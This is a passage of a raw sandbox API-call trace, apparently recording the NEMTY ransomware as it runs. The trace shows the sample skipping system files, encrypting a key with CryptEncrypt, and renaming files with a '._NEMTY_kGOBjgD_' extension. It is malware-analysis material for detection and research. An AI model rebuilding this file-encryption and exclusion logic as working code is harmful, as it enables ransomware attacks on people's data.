lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0121.887] CloseHandle (hObject=0xffffffff) returned 0 [0121.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0121.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0121.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0121.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340350 [0121.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403f8 [0121.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0121.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system.png._nemty_kgobjgd_")) returned 0 [0121.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0121.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0121.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0121.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0121.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0121.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0121.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0121.888] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c1ab56, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c1ab56, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c5ddf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="system_dot.png", cAlternateFileName="")) returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2=".") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="..") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="...") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="windows") returned -1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="$RECYCLE.BIN") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="rsa") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="NTDETECT.COM") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="ntldr") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="MSDOS.SYS") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="IO.SYS") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="boot.ini") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="boot.ini") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="AUTOEXEC.BAT") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="ntuser.dat") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="desktop.ini") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="CONFIG.SYS") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="RECYCLER") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="BOOTSECT.BAK") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="bootmgr") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="programdata") returned 1 [0121.888] lstrcmpiW (lpString1="system_dot.png", lpString2="appdata") returned 1 [0121.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0121.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_dot.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_dot.png", lpUsedDefaultChar=0x0) returned 14 [0121.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0121.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_dot.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_dot.png", lpUsedDefaultChar=0x0) returned 14 [0121.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0121.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_dot.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_dot.png", lpUsedDefaultChar=0x0) returned 14 [0121.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0121.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_dot.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_dot.png", lpUsedDefaultChar=0x0) returned 14 [0121.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0121.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0121.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0121.889] Sleep (dwMilliseconds=0x5) [0121.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc4d7cf0, dwHighDateTime=0x1d561e7)) [0121.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc4d7cf0, dwHighDateTime=0x1d561e7)) [0121.896] GetLastError () returned 0x5 [0121.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0121.896] GetLastError () returned 0x5 [0121.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0121.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.896] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0121.896] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0121.897] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0121.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0121.897] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="WUlDalEv2x2Xnvsm1IyBWgTGyF3ckPIi8WV0JtZjuMeRZPFqeTIoktEdzrFpwUak\r\noH7SXhnghOryAlqSxaZzaKk6qg6MZJNgI0MwEC5xbZ+/SUb8IOOBcvzgpmeH0bet\r\n6vSzWmwPTV1GyVJFEu8hXt9a0GZkCZZf56YRTrfr3hUU6ngcw2gphktqO1zn4k4M\r\ngsHM/YUMICdFcInokMdBf0MjCdDLIS4VtRpNJfRhS4FvikTGGMnw6zdJ3luWpuy0\r\nAYoWu5A5f2KowkN9DHGt3Q2JU3GBXfHcPL1yODacPjOZ0oePoDFUS7t3uxxoSqlS\r\nXv7JwJySGKcCseVvJNB4hw==\r\n", pcchString=0x653e91c) returned 1 [0121.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0121.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0121.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0121.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0121.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0121.897] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.898] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0121.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0121.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.917] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.917] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.946] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.946] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.999] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.999] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0122.006] CloseHandle (hObject=0xffffffff) returned 0 [0122.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0122.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0122.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0122.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0122.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0122.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0122.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_dot.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_dot.png._nemty_kgobjgd_")) returned 0 [0122.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0122.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0122.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0122.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0122.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0122.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0122.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0122.006] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82bce89c, 